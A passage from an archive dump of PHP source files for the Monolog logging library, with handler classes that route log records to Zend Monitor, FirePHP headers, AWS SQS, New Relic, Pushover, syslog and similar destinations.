); } //zend monitor constants are not defined if zend monitor is not enabled. $this->levelMap = [ Logger::DEBUG => \ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::INFO => \ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::NOTICE => \ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::WARNING => \ZEND_MONITOR_EVENT_SEVERITY_WARNING, Logger::ERROR => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::CRITICAL => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::ALERT => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::EMERGENCY => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, ]; parent::__construct($level, $bubble); } /** * {@inheritdoc} */ protected function write(array $record): void { $this->writeZendMonitorCustomEvent( Logger::getLevelName($record['level']), $record['message'], $record['formatted'], $this->levelMap[$record['level']] ); } /** * Write to Zend Monitor Events * @param string $type Text displayed in "Class Name (custom)" field * @param string $message Text displayed in "Error String" * @param array $formatted Displayed in Custom Variables tab * @param int $severity Set the event severity level (-1,0,1) */ protected function writeZendMonitorCustomEvent(string $type, string $message, array $formatted, int $severity): void { zend_monitor_custom_event($type, $message, $formatted, $severity); } /** * {@inheritdoc} */ public function getDefaultFormatter(): FormatterInterface { return new NormalizerFormatter(); } public function getLevelMap(): array { return $this->levelMap; } } vendor/monolog/monolog/src/Monolog/Handler/FirePHPHandler.php000064400000011441147600277620020223 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\WildfireFormatter; use Monolog\Formatter\FormatterInterface; /** * Simple FirePHP Handler (http://www.firephp.org/), which uses the Wildfire protocol. * * @author Eric Clemmons (@ericclemmons) */ class FirePHPHandler extends AbstractProcessingHandler { use WebRequestRecognizerTrait; /** * WildFire JSON header message format */ protected const PROTOCOL_URI = 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2'; /** * FirePHP structure for parsing messages & their presentation */ protected const STRUCTURE_URI = 'http://meta.firephp.org/Wildfire/Structure/FirePHP/FirebugConsole/0.1'; /** * Must reference a "known" plugin, otherwise headers won't display in FirePHP */ protected const PLUGIN_URI = 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3'; /** * Header prefix for Wildfire to recognize & parse headers */ protected const HEADER_PREFIX = 'X-Wf'; /** * Whether or not Wildfire vendor-specific headers have been generated & sent yet */ protected static $initialized = false; /** * Shared static message index between potentially multiple handlers * @var int */ protected static $messageIndex = 1; protected static $sendHeaders = true; /** * Base header creation function used by init headers & record headers * * @param array $meta Wildfire Plugin, Protocol & Structure Indexes * @param string $message Log message * @return array Complete header string ready for the client as key and message as value */ protected function createHeader(array $meta, string $message): array { $header = sprintf('%s-%s', static::HEADER_PREFIX, join('-', $meta)); return [$header => $message]; } /** * Creates message header from record * * @see createHeader() */ protected function createRecordHeader(array $record): array { // Wildfire is extensible to support multiple protocols & plugins in a single request, // but we're not taking advantage of that (yet), so we're using "1" for simplicity's sake. return $this->createHeader( [1, 1, 1, self::$messageIndex++], $record['formatted'] ); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new WildfireFormatter(); } /** * Wildfire initialization headers to enable message parsing * * @see createHeader() * @see sendHeader() */ protected function getInitHeaders(): array { // Initial payload consists of required headers for Wildfire return array_merge( $this->createHeader(['Protocol', 1], static::PROTOCOL_URI), $this->createHeader([1, 'Structure', 1], static::STRUCTURE_URI), $this->createHeader([1, 'Plugin', 1], static::PLUGIN_URI) ); } /** * Send header string to the client */ protected function sendHeader(string $header, string $content): void { if (!headers_sent() && self::$sendHeaders) { header(sprintf('%s: %s', $header, $content)); } } /** * Creates & sends header for a record, ensuring init headers have been sent prior * * @see sendHeader() * @see sendInitHeaders() * @param array $record */ protected function write(array $record): void { if (!self::$sendHeaders || !$this->isWebRequest()) { return; } // WildFire-specific headers must be sent prior to any messages if (!self::$initialized) { self::$initialized = true; self::$sendHeaders = $this->headersAccepted(); if (!self::$sendHeaders) { return; } foreach ($this->getInitHeaders() as $header => $content) { $this->sendHeader($header, $content); } } $header = $this->createRecordHeader($record); if (trim(current($header)) !== '') { $this->sendHeader(key($header), current($header)); } } /** * Verifies if the headers are accepted by the current user agent */ protected function headersAccepted(): bool { if (!empty($_SERVER['HTTP_USER_AGENT']) && preg_match('{\bFirePHP/\d+\.\d+\b}', $_SERVER['HTTP_USER_AGENT'])) { return true; } return isset($_SERVER['HTTP_X_FIREPHP_VERSION']); } } vendor/monolog/monolog/src/Monolog/Handler/WebRequestRecognizerTrait.php000064400000001014147600277620022605 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; trait WebRequestRecognizerTrait { /** * Checks if PHP's serving a web request * @return bool */ protected function isWebRequest(): bool { return 'cli' !== \PHP_SAPI && 'phpdbg' !== \PHP_SAPI; } } vendor/monolog/monolog/src/Monolog/Handler/SqsHandler.php000064400000003367147600277620017544 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Aws\Sqs\SqsClient; use Monolog\Logger; use Monolog\Utils; /** * Writes to any sqs queue. * * @author Martijn van Calker */ class SqsHandler extends AbstractProcessingHandler { /** 256 KB in bytes - maximum message size in SQS */ protected const MAX_MESSAGE_SIZE = 262144; /** 100 KB in bytes - head message size for new error log */ protected const HEAD_MESSAGE_SIZE = 102400; /** @var SqsClient */ private $client; /** @var string */ private $queueUrl; public function __construct(SqsClient $sqsClient, string $queueUrl, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->client = $sqsClient; $this->queueUrl = $queueUrl; } /** * Writes the record down to the log of the implementing handler. * * @param array $record */ protected function write(array $record): void { if (!isset($record['formatted']) || 'string' !== gettype($record['formatted'])) { throw new \InvalidArgumentException('SqsHandler accepts only formatted records as a string'); } $messageBody = $record['formatted']; if (strlen($messageBody) >= static::MAX_MESSAGE_SIZE) { $messageBody = Utils::substr($messageBody, 0, static::HEAD_MESSAGE_SIZE); } $this->client->sendMessage([ 'QueueUrl' => $this->queueUrl, 'MessageBody' => $messageBody, ]); } } vendor/monolog/monolog/src/Monolog/Handler/NewRelicHandler.php000064400000014336147600277620020504 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; use Monolog\Formatter\NormalizerFormatter; use Monolog\Formatter\FormatterInterface; /** * Class to record a log on a NewRelic application. * Enabling New Relic High Security mode may prevent capture of useful information. * * This handler requires a NormalizerFormatter to function and expects an array in $record['formatted'] * * @see https://docs.newrelic.com/docs/agents/php-agent * @see https://docs.newrelic.com/docs/accounts-partnerships/accounts/security/high-security */ class NewRelicHandler extends AbstractProcessingHandler { /** * Name of the New Relic application that will receive logs from this handler. * * @var string|null */ protected $appName; /** * Name of the current transaction * * @var string|null */ protected $transactionName; /** * Some context and extra data is passed into the handler as arrays of values. Do we send them as is * (useful if we are using the API), or explode them for display on the NewRelic RPM website? * * @var bool */ protected $explodeArrays; /** * {@inheritDoc} * * @param string|int $level The minimum logging level at which this handler will be triggered. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not. * @param string|null $appName * @param bool $explodeArrays * @param string|null $transactionName */ public function __construct( $level = Logger::ERROR, bool $bubble = true, ?string $appName = null, bool $explodeArrays = false, ?string $transactionName = null ) { parent::__construct($level, $bubble); $this->appName = $appName; $this->explodeArrays = $explodeArrays; $this->transactionName = $transactionName; } /** * {@inheritDoc} */ protected function write(array $record): void { if (!$this->isNewRelicEnabled()) { throw new MissingExtensionException('The newrelic PHP extension is required to use the NewRelicHandler'); } if ($appName = $this->getAppName($record['context'])) { $this->setNewRelicAppName($appName); } if ($transactionName = $this->getTransactionName($record['context'])) { $this->setNewRelicTransactionName($transactionName); unset($record['formatted']['context']['transaction_name']); } if (isset($record['context']['exception']) && $record['context']['exception'] instanceof \Throwable) { newrelic_notice_error($record['message'], $record['context']['exception']); unset($record['formatted']['context']['exception']); } else { newrelic_notice_error($record['message']); } if (isset($record['formatted']['context']) && is_array($record['formatted']['context'])) { foreach ($record['formatted']['context'] as $key => $parameter) { if (is_array($parameter) && $this->explodeArrays) { foreach ($parameter as $paramKey => $paramValue) { $this->setNewRelicParameter('context_' . $key . '_' . $paramKey, $paramValue); } } else { $this->setNewRelicParameter('context_' . $key, $parameter); } } } if (isset($record['formatted']['extra']) && is_array($record['formatted']['extra'])) { foreach ($record['formatted']['extra'] as $key => $parameter) { if (is_array($parameter) && $this->explodeArrays) { foreach ($parameter as $paramKey => $paramValue) { $this->setNewRelicParameter('extra_' . $key . '_' . $paramKey, $paramValue); } } else { $this->setNewRelicParameter('extra_' . $key, $parameter); } } } } /** * Checks whether the NewRelic extension is enabled in the system. * * @return bool */ protected function isNewRelicEnabled(): bool { return extension_loaded('newrelic'); } /** * Returns the appname where this log should be sent. Each log can override the default appname, set in this * handler's constructor, by providing the appname in it's context. */ protected function getAppName(array $context): ?string { if (isset($context['appname'])) { return $context['appname']; } return $this->appName; } /** * Returns the name of the current transaction. Each log can override the default transaction name, set in this * handler's constructor, by providing the transaction_name in it's context */ protected function getTransactionName(array $context): ?string { if (isset($context['transaction_name'])) { return $context['transaction_name']; } return $this->transactionName; } /** * Sets the NewRelic application that should receive this log. */ protected function setNewRelicAppName(string $appName): void { newrelic_set_appname($appName); } /** * Overwrites the name of the current transaction */ protected function setNewRelicTransactionName(string $transactionName): void { newrelic_name_transaction($transactionName); } /** * @param string $key * @param mixed $value */ protected function setNewRelicParameter(string $key, $value): void { if (null === $value || is_scalar($value)) { newrelic_add_custom_parameter($key, $value); } else { newrelic_add_custom_parameter($key, Utils::jsonEncode($value, null, true)); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new NormalizerFormatter(); } } vendor/monolog/monolog/src/Monolog/Handler/FilterHandler.php000064400000013461147600277620020217 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; /** * Simple handler wrapper that filters records based on a list of levels * * It can be configured with an exact list of levels to allow, or a min/max level. * * @author Hennadiy Verkh * @author Jordi Boggiano */ class FilterHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** * Handler or factory callable($record, $this) * * @var callable|\Monolog\Handler\HandlerInterface */ protected $handler; /** * Minimum level for logs that are passed to handler * * @var int[] */ protected $acceptedLevels; /** * Whether the messages that are handled can bubble up the stack or not * * @var bool */ protected $bubble; /** * @psalm-param HandlerInterface|callable(?array, HandlerInterface): HandlerInterface $handler * * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $filterHandler). * @param int|array $minLevelOrList A list of levels to accept or a minimum level if maxLevel is provided * @param int|string $maxLevel Maximum level to accept, only used if $minLevelOrList is not an array * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($handler, $minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY, bool $bubble = true) { $this->handler = $handler; $this->bubble = $bubble; $this->setAcceptedLevels($minLevelOrList, $maxLevel); if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); } } public function getAcceptedLevels(): array { return array_flip($this->acceptedLevels); } /** * @param int|string|array $minLevelOrList A list of levels to accept or a minimum level or level name if maxLevel is provided * @param int|string $maxLevel Maximum level or level name to accept, only used if $minLevelOrList is not an array */ public function setAcceptedLevels($minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY): self { if (is_array($minLevelOrList)) { $acceptedLevels = array_map('Monolog\Logger::toMonologLevel', $minLevelOrList); } else { $minLevelOrList = Logger::toMonologLevel($minLevelOrList); $maxLevel = Logger::toMonologLevel($maxLevel); $acceptedLevels = array_values(array_filter(Logger::getLevels(), function ($level) use ($minLevelOrList, $maxLevel) { return $level >= $minLevelOrList && $level <= $maxLevel; })); } $this->acceptedLevels = array_flip($acceptedLevels); return $this; } /** * {@inheritdoc} */ public function isHandling(array $record): bool { return isset($this->acceptedLevels[$record['level']]); } /** * {@inheritdoc} */ public function handle(array $record): bool { if (!$this->isHandling($record)) { return false; } if ($this->processors) { $record = $this->processRecord($record); } $this->getHandler($record)->handle($record); return false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records): void { $filtered = []; foreach ($records as $record) { if ($this->isHandling($record)) { $filtered[] = $record; } } if (count($filtered) > 0) { $this->getHandler($filtered[count($filtered) - 1])->handleBatch($filtered); } } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = ($this->handler)($record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { return $handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } public function reset() { $this->resetProcessors(); } } vendor/monolog/monolog/src/Monolog/Handler/DeduplicationHandler.php000064400000013077147600277620021561 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Simple handler wrapper that deduplicates log records across multiple requests * * It also includes the BufferHandler functionality and will buffer * all messages until the end of the request or flush() is called. * * This works by storing all log records' messages above $deduplicationLevel * to the file specified by $deduplicationStore. When further logs come in at the end of the * request (or when flush() is called), all those above $deduplicationLevel are checked * against the existing stored logs. If they match and the timestamps in the stored log is * not older than $time seconds, the new log record is discarded. If no log record is new, the * whole data set is discarded. * * This is mainly useful in combination with Mail handlers or things like Slack or HipChat handlers * that send messages to people, to avoid spamming with the same message over and over in case of * a major component failure like a database server being down which makes all requests fail in the * same way. * * @author Jordi Boggiano */ class DeduplicationHandler extends BufferHandler { /** * @var string */ protected $deduplicationStore; /** * @var int */ protected $deduplicationLevel; /** * @var int */ protected $time; /** * @var bool */ private $gc = false; /** * @param HandlerInterface $handler Handler. * @param string $deduplicationStore The file/path where the deduplication log should be kept * @param string|int $deduplicationLevel The minimum logging level for log records to be looked at for deduplication purposes * @param int $time The period (in seconds) during which duplicate entries should be suppressed after a given log is sent through * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(HandlerInterface $handler, ?string $deduplicationStore = null, $deduplicationLevel = Logger::ERROR, int $time = 60, bool $bubble = true) { parent::__construct($handler, 0, Logger::DEBUG, $bubble, false); $this->deduplicationStore = $deduplicationStore === null ? sys_get_temp_dir() . '/monolog-dedup-' . substr(md5(__FILE__), 0, 20) .'.log' : $deduplicationStore; $this->deduplicationLevel = Logger::toMonologLevel($deduplicationLevel); $this->time = $time; } public function flush(): void { if ($this->bufferSize === 0) { return; } $passthru = null; foreach ($this->buffer as $record) { if ($record['level'] >= $this->deduplicationLevel) { $passthru = $passthru || !$this->isDuplicate($record); if ($passthru) { $this->appendRecord($record); } } } // default of null is valid as well as if no record matches duplicationLevel we just pass through if ($passthru === true || $passthru === null) { $this->handler->handleBatch($this->buffer); } $this->clear(); if ($this->gc) { $this->collectLogs(); } } private function isDuplicate(array $record): bool { if (!file_exists($this->deduplicationStore)) { return false; } $store = file($this->deduplicationStore, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!is_array($store)) { return false; } $yesterday = time() - 86400; $timestampValidity = $record['datetime']->getTimestamp() - $this->time; $expectedMessage = preg_replace('{[\r\n].*}', '', $record['message']); for ($i = count($store) - 1; $i >= 0; $i--) { list($timestamp, $level, $message) = explode(':', $store[$i], 3); if ($level === $record['level_name'] && $message === $expectedMessage && $timestamp > $timestampValidity) { return true; } if ($timestamp < $yesterday) { $this->gc = true; } } return false; } private function collectLogs(): void { if (!file_exists($this->deduplicationStore)) { return; } $handle = fopen($this->deduplicationStore, 'rw+'); if (!$handle) { throw new \RuntimeException('Failed to open file for reading and writing: ' . $this->deduplicationStore); } flock($handle, LOCK_EX); $validLogs = []; $timestampValidity = time() - $this->time; while (!feof($handle)) { $log = fgets($handle); if ($log && substr($log, 0, 10) >= $timestampValidity) { $validLogs[] = $log; } } ftruncate($handle, 0); rewind($handle); foreach ($validLogs as $log) { fwrite($handle, $log); } flock($handle, LOCK_UN); fclose($handle); $this->gc = false; } private function appendRecord(array $record): void { file_put_contents($this->deduplicationStore, $record['datetime']->getTimestamp() . ':' . $record['level_name'] . ':' . preg_replace('{[\r\n].*}', '', $record['message']) . "\n", FILE_APPEND); } } vendor/monolog/monolog/src/Monolog/Handler/PushoverHandler.php000064400000015561147600277620020610 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * Sends notifications through the pushover api to mobile phones * * @author Sebastian Göttschkes * @see https://www.pushover.net/api */ class PushoverHandler extends SocketHandler { private $token; private $users; private $title; private $user; private $retry; private $expire; private $highPriorityLevel; private $emergencyLevel; private $useFormattedMessage = false; /** * All parameters that can be sent to Pushover * @see https://pushover.net/api * @var array */ private $parameterNames = [ 'token' => true, 'user' => true, 'message' => true, 'device' => true, 'title' => true, 'url' => true, 'url_title' => true, 'priority' => true, 'timestamp' => true, 'sound' => true, 'retry' => true, 'expire' => true, 'callback' => true, ]; /** * Sounds the api supports by default * @see https://pushover.net/api#sounds * @var array */ private $sounds = [ 'pushover', 'bike', 'bugle', 'cashregister', 'classical', 'cosmic', 'falling', 'gamelan', 'incoming', 'intermission', 'magic', 'mechanical', 'pianobar', 'siren', 'spacealarm', 'tugboat', 'alien', 'climb', 'persistent', 'echo', 'updown', 'none', ]; /** * @param string $token Pushover api token * @param string|array $users Pushover user id or array of ids the message will be sent to * @param string|null $title Title sent to the Pushover API * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $useSSL Whether to connect via SSL. Required when pushing messages to users that are not * the pushover.net app owner. OpenSSL is required for this option. * @param string|int $highPriorityLevel The minimum logging level at which this handler will start * sending "high priority" requests to the Pushover API * @param string|int $emergencyLevel The minimum logging level at which this handler will start * sending "emergency" requests to the Pushover API * @param int $retry The retry parameter specifies how often (in seconds) the Pushover servers will * send the same notification to the user. * @param int $expire The expire parameter specifies how many seconds your notification will continue * to be retried for (every retry seconds). */ public function __construct( string $token, $users, ?string $title = null, $level = Logger::CRITICAL, bool $bubble = true, bool $useSSL = true, $highPriorityLevel = Logger::CRITICAL, $emergencyLevel = Logger::EMERGENCY, int $retry = 30, int $expire = 25200 ) { $connectionString = $useSSL ? 'ssl://api.pushover.net:443' : 'api.pushover.net:80'; parent::__construct($connectionString, $level, $bubble); $this->token = $token; $this->users = (array) $users; $this->title = $title ?: gethostname(); $this->highPriorityLevel = Logger::toMonologLevel($highPriorityLevel); $this->emergencyLevel = Logger::toMonologLevel($emergencyLevel); $this->retry = $retry; $this->expire = $expire; } protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } private function buildContent(array $record): string { // Pushover has a limit of 512 characters on title and message combined. $maxMessageLength = 512 - strlen($this->title); $message = ($this->useFormattedMessage) ? $record['formatted'] : $record['message']; $message = Utils::substr($message, 0, $maxMessageLength); $timestamp = $record['datetime']->getTimestamp(); $dataArray = [ 'token' => $this->token, 'user' => $this->user, 'message' => $message, 'title' => $this->title, 'timestamp' => $timestamp, ]; if (isset($record['level']) && $record['level'] >= $this->emergencyLevel) { $dataArray['priority'] = 2; $dataArray['retry'] = $this->retry; $dataArray['expire'] = $this->expire; } elseif (isset($record['level']) && $record['level'] >= $this->highPriorityLevel) { $dataArray['priority'] = 1; } // First determine the available parameters $context = array_intersect_key($record['context'], $this->parameterNames); $extra = array_intersect_key($record['extra'], $this->parameterNames); // Least important info should be merged with subsequent info $dataArray = array_merge($extra, $context, $dataArray); // Only pass sounds that are supported by the API if (isset($dataArray['sound']) && !in_array($dataArray['sound'], $this->sounds)) { unset($dataArray['sound']); } return http_build_query($dataArray); } private function buildHeader(string $content): string { $header = "POST /1/messages.json HTTP/1.1\r\n"; $header .= "Host: api.pushover.net\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } protected function write(array $record): void { foreach ($this->users as $user) { $this->user = $user; parent::write($record); $this->closeSocket(); } $this->user = null; } public function setHighPriorityLevel($value): self { $this->highPriorityLevel = Logger::toMonologLevel($value); return $this; } public function setEmergencyLevel($value): self { $this->emergencyLevel = Logger::toMonologLevel($value); return $this; } /** * Use the formatted message? */ public function useFormattedMessage(bool $value): self { $this->useFormattedMessage = $value; return $this; } } vendor/monolog/monolog/src/Monolog/Handler/TestHandler.php000064400000013206147600277620017706 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Used for testing purposes. * * It records all records and gives you access to them for verification. * * @author Jordi Boggiano * * @method bool hasEmergency($record) * @method bool hasAlert($record) * @method bool hasCritical($record) * @method bool hasError($record) * @method bool hasWarning($record) * @method bool hasNotice($record) * @method bool hasInfo($record) * @method bool hasDebug($record) * * @method bool hasEmergencyRecords() * @method bool hasAlertRecords() * @method bool hasCriticalRecords() * @method bool hasErrorRecords() * @method bool hasWarningRecords() * @method bool hasNoticeRecords() * @method bool hasInfoRecords() * @method bool hasDebugRecords() * * @method bool hasEmergencyThatContains($message) * @method bool hasAlertThatContains($message) * @method bool hasCriticalThatContains($message) * @method bool hasErrorThatContains($message) * @method bool hasWarningThatContains($message) * @method bool hasNoticeThatContains($message) * @method bool hasInfoThatContains($message) * @method bool hasDebugThatContains($message) * * @method bool hasEmergencyThatMatches($message) * @method bool hasAlertThatMatches($message) * @method bool hasCriticalThatMatches($message) * @method bool hasErrorThatMatches($message) * @method bool hasWarningThatMatches($message) * @method bool hasNoticeThatMatches($message) * @method bool hasInfoThatMatches($message) * @method bool hasDebugThatMatches($message) * * @method bool hasEmergencyThatPasses($message) * @method bool hasAlertThatPasses($message) * @method bool hasCriticalThatPasses($message) * @method bool hasErrorThatPasses($message) * @method bool hasWarningThatPasses($message) * @method bool hasNoticeThatPasses($message) * @method bool hasInfoThatPasses($message) * @method bool hasDebugThatPasses($message) */ class TestHandler extends AbstractProcessingHandler { protected $records = []; protected $recordsByLevel = []; private $skipReset = false; public function getRecords() { return $this->records; } public function clear() { $this->records = []; $this->recordsByLevel = []; } public function reset() { if (!$this->skipReset) { $this->clear(); } } public function setSkipReset(bool $skipReset) { $this->skipReset = $skipReset; } /** * @param string|int $level Logging level value or name */ public function hasRecords($level): bool { return isset($this->recordsByLevel[Logger::toMonologLevel($level)]); } /** * @param string|array $record Either a message string or an array containing message and optionally context keys that will be checked against all records * @param string|int $level Logging level value or name */ public function hasRecord($record, $level): bool { if (is_string($record)) { $record = array('message' => $record); } return $this->hasRecordThatPasses(function ($rec) use ($record) { if ($rec['message'] !== $record['message']) { return false; } if (isset($record['context']) && $rec['context'] !== $record['context']) { return false; } return true; }, $level); } /** * @param string|int $level Logging level value or name */ public function hasRecordThatContains(string $message, $level): bool { return $this->hasRecordThatPasses(function ($rec) use ($message) { return strpos($rec['message'], $message) !== false; }, $level); } /** * @param string|int $level Logging level value or name */ public function hasRecordThatMatches(string $regex, $level): bool { return $this->hasRecordThatPasses(function (array $rec) use ($regex): bool { return preg_match($regex, $rec['message']) > 0; }, $level); } /** * @psalm-param callable(array, int): mixed $predicate * * @param string|int $level Logging level value or name * @return bool */ public function hasRecordThatPasses(callable $predicate, $level) { $level = Logger::toMonologLevel($level); if (!isset($this->recordsByLevel[$level])) { return false; } foreach ($this->recordsByLevel[$level] as $i => $rec) { if ($predicate($rec, $i)) { return true; } } return false; } /** * {@inheritdoc} */ protected function write(array $record): void { $this->recordsByLevel[$record['level']][] = $record; $this->records[] = $record; } public function __call($method, $args) { if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = constant('Monolog\Logger::' . strtoupper($matches[2])); if (method_exists($this, $genericMethod)) { $args[] = $level; return call_user_func_array([$this, $genericMethod], $args); } } throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); } } vendor/monolog/monolog/src/Monolog/Handler/SyslogUdpHandler.php000064400000007414147600277620020724 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use DateTimeInterface; use Monolog\Logger; use Monolog\Handler\SyslogUdp\UdpSocket; /** * A Handler for logging to a remote syslogd server. * * @author Jesper Skovgaard Nielsen * @author Dominik Kukacka */ class SyslogUdpHandler extends AbstractSyslogHandler { const RFC3164 = 0; const RFC5424 = 1; const RFC5424e = 2; private $dateFormats = array( self::RFC3164 => 'M d H:i:s', self::RFC5424 => \DateTime::RFC3339, self::RFC5424e => \DateTime::RFC3339_EXTENDED, ); protected $socket; protected $ident; protected $rfc; /** * @param string $host Either IP/hostname or a path to a unix socket (port must be 0 then) * @param int $port Port number, or 0 if $host is a unix socket * @param string|int $facility Either one of the names of the keys in $this->facilities, or a LOG_* facility constant * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param string $ident Program name or tag for each log message. * @param int $rfc RFC to format the message for. */ public function __construct(string $host, int $port = 514, $facility = LOG_USER, $level = Logger::DEBUG, bool $bubble = true, string $ident = 'php', int $rfc = self::RFC5424) { parent::__construct($facility, $level, $bubble); $this->ident = $ident; $this->rfc = $rfc; $this->socket = new UdpSocket($host, $port); } protected function write(array $record): void { $lines = $this->splitMessageIntoLines($record['formatted']); $header = $this->makeCommonSyslogHeader($this->logLevels[$record['level']], $record['datetime']); foreach ($lines as $line) { $this->socket->write($line, $header); } } public function close(): void { $this->socket->close(); } private function splitMessageIntoLines($message): array { if (is_array($message)) { $message = implode("\n", $message); } return preg_split('/$\R?^/m', (string) $message, -1, PREG_SPLIT_NO_EMPTY); } /** * Make common syslog header (see rfc5424 or rfc3164) */ protected function makeCommonSyslogHeader(int $severity, DateTimeInterface $datetime): string { $priority = $severity + $this->facility; if (!$pid = getmypid()) { $pid = '-'; } if (!$hostname = gethostname()) { $hostname = '-'; } if ($this->rfc === self::RFC3164 && ($datetime instanceof \DateTimeImmutable || $datetime instanceof \DateTime)) { $datetime->setTimezone(new \DateTimeZone('UTC')); } $date = $datetime->format($this->dateFormats[$this->rfc]); if ($this->rfc === self::RFC3164) { return "<$priority>" . $date . " " . $hostname . " " . $this->ident . "[" . $pid . "]: "; } else { return "<$priority>1 " . $date . " " . $hostname . " " . $this->ident . " " . $pid . " - - "; } } /** * Inject your own socket, mainly used for testing */ public function setSocket(UdpSocket $socket): self { $this->socket = $socket; return $this; } } vendor/monolog/monolog/src/Monolog/Handler/SyslogHandler.php000064400000003723147600277620020252 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Logs to syslog service. * * usage example: * * $log = new Logger('application'); * $syslog = new SyslogHandler('myfacility', 'local6'); * $formatter = new LineFormatter("%channel%.%level_name%: %message% %extra%"); * $syslog->setFormatter($formatter); * $log->pushHandler($syslog); * * @author Sven Paulus */ class SyslogHandler extends AbstractSyslogHandler { protected $ident; protected $logopts; /** * @param string $ident * @param string|int $facility Either one of the names of the keys in $this->facilities, or a LOG_* facility constant * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int $logopts Option flags for the openlog() call, defaults to LOG_PID */ public function __construct(string $ident, $facility = LOG_USER, $level = Logger::DEBUG, bool $bubble = true, int $logopts = LOG_PID) { parent::__construct($facility, $level, $bubble); $this->ident = $ident; $this->logopts = $logopts; } /** * {@inheritdoc} */ public function close(): void { closelog(); } /** * {@inheritdoc} */ protected function write(array $record): void { if (!openlog($this->ident, $this->logopts, $this->facility)) { throw new \LogicException('Can\'t open syslog for ident "'.$this->ident.'" and facility "'.$this->facility.'"'); } syslog($this->logLevels[$record['level']], (string) $record['formatted']); } } vendor/monolog/monolog/src/Monolog/Handler/FlowdockHandler.php000064400000006266147600277620020547 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; use Monolog\Formatter\FlowdockFormatter; use Monolog\Formatter\FormatterInterface; /** * Sends notifications through the Flowdock push API * * This must be configured with a FlowdockFormatter instance via setFormatter() * * Notes: * API token - Flowdock API token * * @author Dominik Liebler * @see https://www.flowdock.com/api/push */ class FlowdockHandler extends SocketHandler { /** * @var string */ protected $apiToken; /** * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * * @throws MissingExtensionException if OpenSSL is missing */ public function __construct(string $apiToken, $level = Logger::DEBUG, bool $bubble = true) { if (!extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FlowdockHandler'); } 